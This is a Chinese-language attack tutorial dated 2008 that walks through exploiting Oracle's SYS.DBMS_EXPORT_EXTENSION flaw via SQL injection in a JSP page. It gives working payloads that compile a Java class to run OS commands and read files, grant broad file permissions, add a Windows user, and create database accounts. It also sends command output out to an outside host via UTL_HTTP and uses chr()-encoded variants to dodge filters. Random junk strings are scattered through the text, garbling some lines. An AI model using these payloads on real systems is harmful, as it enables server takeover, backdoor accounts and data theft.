以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成 # r5 K/ N y4 g+ j, [7 W9 V
6 k/ p7 h7 W+ t6 t. i) F9 U) ]2 h /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....) 0 `* Q, Y, X& c
的形式即可。(用" 'a'|| "是为了让语句返回true值) 3 P- N' O% _0 @8 m Z% Q; _
语句有点长,可能要用post提交。
9 J7 T9 w6 \4 q% T: U+ z以下是各个步骤:
6 U8 f7 \7 w. g, ^& p8 r U) v1.创建包 . K0 F0 U+ h% E! y
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:0 N8 a# L) A9 v) D3 ~- c8 a9 l
/xxx.jsp?id=1 and '1'<>'a'||( & F4 ~$ }/ d& L- b4 j+ s
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''. Q( P' t/ ^: x% I& T% M* t
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
0 A- ^, J" C/ A: e8 M& `4 K. qnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}6 {2 r0 G$ v7 d* T8 N3 U
}'''';END;'';END;--','SYS',0,'1',0) from dual , z+ u4 ` U8 _
)
, }) \- G; E5 f. b------------------------
6 y: g- R, ~4 Q# R; u$ y如果url有长度限制,可以把readFile()函数块去掉,即:
( \) p' T2 x$ @9 I( T) [4 _/xxx.jsp?id=1 and '1'<>'a'||( , o2 Z! ?' K7 p+ N4 ?# u" U# j
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
( D1 x, E; m" D, C8 Z" Acreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(: ? F: b+ N. ]+ E
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
5 _9 f7 R9 t2 b% }( g5 m+ K}'''';END;'';END;--','SYS',0,'1',0) from dual ' S! u% Y9 D- e; K
)
# {9 r' j: w; M1 s. Z* j0 X( ^同时把后面步骤 提到的 对readFile()的处理语句去掉。
8 s; _1 h/ |$ O( s------------------------------
5 h' `: {4 i/ W/ Y1 Q$ \2 {2.赋Java权限 - C8 K0 x& {) X _
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
, A2 H* F) @) c+ x. F5 n- X3.创建函数 2 f. `. g' @: e0 ]& p
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
7 b+ s( I: y9 ]/ n& t# c' Gcreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual# d T9 t- ^- ^& X1 q' ?* |
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''') i) V2 d- |' N" q0 D" _
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual2 [1 n8 o# j& p8 P& y
4.赋public执行函数的权限 6 C! y0 \3 q9 v* |$ Q$ ?, r! j9 P
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual' D; G4 G8 @( g: w. z
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
( z# ?, m0 O, n4 i6 F6 [, g5.测试上面的几步是否成功
+ L. k% }; c* k U# U: c b- \and '1'<>'11'||(
; f% T7 [' M/ [0 m8 wselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD' % c" N; t N' E
)
6 E* ^% C! t2 E$ K( e' rand '1'<>( ' L4 h% X# K2 O9 F3 ?7 U
select OBJECT_ID from all_objects where object_name ='LINXREADFILE' # h& A* r9 i7 D2 x, n5 `+ ]
) . v$ c& P! N& I7 \. A" F
6.执行命令: 5 D2 Z z5 ]3 f3 x" s0 n
/xxx.jsp?id=1 and '1'<>(
9 w$ B6 j7 t- U; G. b" ?6 ^) Oselect sys.LinxRunCMD('cmd /c net user linx /add') from dual - p5 @. T* U$ I7 P9 Q% u0 z5 T! g
1 C. V* K* g1 u5 G) 2 K& B2 S7 w% v: u& |/ F5 `. a! F1 s( l
/xxx.jsp?id=1 and '1'<>( / |* H# }! u% S A' E
select sys.LinxReadFile('c:/boot.ini') from dual2 Q; w% H1 S/ }6 q2 U; ^- ]
5 f# ^. m. `; j8 E1 I)2 b, _! n4 L' {; J8 _7 M; k
5 j) o- t& P$ C* w" z+ b' w
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
0 v5 {# H$ l1 E* Z如果要查看运行结果可以用 union : 9 H) J0 d( f: W# O
/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
+ o( `9 X6 b& A或者UTL_HTTP.request(:
1 Y" J- x; T" n/ T6 c/xxx.jsp?id=1 and '1'<>(
, F/ X$ B d& F( ~7 r; |4 @% zSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
* ^* Y, h! G$ j) N# L k+ B) L7 a! T; Z% {
/xxx.jsp?id=1 and '1'<>( " n* V6 ~, V Y) s5 |
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual* W0 h4 S. i% w [# V+ {' x' m0 a4 O
) 9 ~; E+ L9 w4 g% c- ]+ H
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。& {- O, A) A3 r3 l$ O( w5 q; M/ W
--------------------
4 y& E; u! g c, W l5 N. T! o) U2 |6.内部变化 6 C- z- z, d. ^) H9 o* g
通过以下命令可以查看all_objects表达改变: ; q) a; V" p0 o4 L0 R; r
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%') r6 N% O' ?2 _' d' n! p8 n7 z2 ~
7.删除我们创建的函数
! O3 H" |3 p N5 ^5 ^/ B5 U4 Wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''6 Q% e) e) W3 r
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual " ]- W _' K' M5 H& O* y# T
====================================================
7 f& M5 N6 Y1 z+ T: Y& p全文结束。谨以此文赠与我的朋友。 % t5 W6 e$ t/ Z
linx
: M6 U4 ?. u' ?124829445
4 a( ?4 S0 R' H( ?2008.1.12
6 W+ G' |$ r/ L* [/ J* ~, alinyujian@bjfu.edu.cn
/ g1 ^! F, P. D5 x======================================================================
# a6 U% h& ?' v3 ]1 @+ z测试漏洞的另一方法: : V" l* V* X. N% M
创建oracle帐号: 9 ^) f# M5 S! y: R g6 Z m! ?
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
) J; m2 U) @* V7 jCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual) h: k( @( f. A; Z( G8 F* S+ G- \
即:
3 h8 H; b% i: j- Y% `select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),( f: a: a, P8 V& G1 \. k# M( L
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual - m: { W6 _ u7 |
确定漏洞存在: 5 x6 [4 U9 h0 x
1<>( 0 _* ?5 r- g; E5 P6 i$ ^
select user_id from all_users where username='LINXSQL' 1 y0 ^: Y% s0 @+ @& z* p) P
)
8 a- t; w {# W5 ]3 n给linxsql连接权限:
4 w8 M/ U" D9 _& V5 E" jselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''' Z6 E8 X) m1 U: T/ |) A
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
| U z7 w9 D删除帐号:
' K0 O2 J- r9 h6 [7 vselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
& B' `# o% t* y# r, ]+ n1 Bdrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
# n5 T* q- o& s====================== - d, Z! {1 `9 C) I- T5 i$ {+ E
以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:/ ]- [# j4 r8 B- o4 ~! P
1.jsp?id=1 and '1'<>( 4 b; }3 z. C. g& t! g& X5 j* ?
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''0 b! D1 G" } i4 F
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual) Q& d/ A6 G5 h9 X; P- ?
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE8 K- n" t& e7 q$ v% n
)
. Z; r4 i. r, g% {8 A" k3 G# }7 g* |
8 x" x$ K( I/ C: H7 O5 O1 M& n
7 ?$ D$ F) B( h |